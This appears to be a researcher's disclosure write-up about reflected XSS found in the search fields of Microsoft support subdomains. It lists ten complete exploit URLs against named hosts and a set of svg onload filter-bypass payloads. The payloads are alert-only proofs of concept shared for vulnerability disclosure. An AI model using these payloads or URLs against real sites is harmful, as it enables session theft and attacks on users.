Discovering 10 XSS Vulnerabilities: My Journey into Microsoft’s Support Platforms
The Beginning
On an ordinary day, my curiosity led me to explore Microsoft’s platforms, specifically focusing on potential vulnerabilities in the “Office” and Microsoft domains. I embarked on a meticulous journey to uncover hidden security flaws that could pose significant risks to users.
The Exploration
Collecting Microsoft Domains
I started by collecting all Microsoft domains, initially performing a brute force search. During this process, I stumbled upon a domain: https://int.support.services.microsoft.com. Intrigued, I decided to delve deeper.
- Logging In:
- Navigate to
https://int.support.services.microsoft.com - Log in with your profile.
2. Testing the Search Field:
- I typed “ibrahim” in the search field and viewed the source page.
- Observed that the word “ibrahim” was reflected as “Search results for ‘ibrahim’”.
3. Experimenting with Different Characters:
- I typed
ibrahim">and noticed the reflection in the form'ibrahim">', indicating that Microsoft filters my payload into HTML and ASCII.
The Breakthrough
After some time researching, I managed to bypass this encryption and escape using a unique payload: "><svg+onload=alert`"1). This became evident as Microsoft filters the payload into HTML and ASCII.
Reviewing Related Microsoft Domains
I then reviewed all Microsoft domains related to “support” and identified several:
support-uat.microsoft.com
int.support.services.microsoft.com
prod.support.services.microsoft.com
wus.prod.support.services.microsoft.com
ea.prod.support.services.microsoft.com
eus.prod.support.services.microsoft.com
frc.prod.support.services.microsoft.com
sea.prod.support.services.microsoft.com
weu.prod.support.services.microsoft.com
cus.prod.support.services.microsoft.comLINKS:
1. https://support-uat.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
2. https://int.support.services.microsoft.com/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
3. https://prod.support.services.microsoft.com/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
4. https://wus.prod.support.services.microsoft.com/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
5. https://ea.prod.support.services.microsoft.com/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
6. https://eus.prod.support.services.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
7. https://frc.prod.support.services.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
8. https://sea.prod.support.services.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
9. https://weu.prod.support.services.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
10. https://cus.prod.support.services.microsoft.com/search/results?query=%22%3E%3Csvg+onload%3Dalert%26amp%3Bamp%3B%23x00000040%221%22%29%3E%09&isEnrichedQuery=false
PAYLOADS:
"><svg+onload=alert&#x60"1
"><svg+onload=alert&#x2B"1
"><svg+onload=alert&#x5C"1
"><svg+onload=alert&#x99"1
"><svg+onload=alert&#x92"1
"><svg onload=alert&#x27;#x00000040"1")>
"><svg+onload=alert&#x8F"1
"><SVG ONLOAD=alert(document.domain)>
"><svg+onload=alert&#x45"1
"><svg onload=alert@"1")> 
Security Impact on Microsoft
Exposure of Sensitive Data: By bypassing ASCII and HTML encoding, an attacker can inject malicious scripts into Microsoft’s web platforms. This vulnerability allows attackers to execute unauthorized actions on behalf of users, potentially exposing sensitive data such as user credentials, personal information, and internal communications.
Cross-Site Scripting (XSS) Attacks: The ability to bypass encoding mechanisms leads to successful XSS attacks. These attacks can be used to steal session tokens, manipulate web content, or redirect users to malicious websites. XSS vulnerabilities compromise the integrity and security of user sessions and can lead to data breaches.
IMPACT:
- Bypassing filters
- Affected hundreds of domains over Microsoft Platforms
- Reflected XSS
- Business continuity risk
- Reputation damage
By addressing these issues promptly, Microsoft can enhance the security of its applications, protect its users, and maintain trust in its brand. For further clarity, I have attached images and videos illustrating the exploitation of these vulnerabilities. If you have any questions or require additional information, feel free to contact me on my Linkedin profile:
Proof of Concept:
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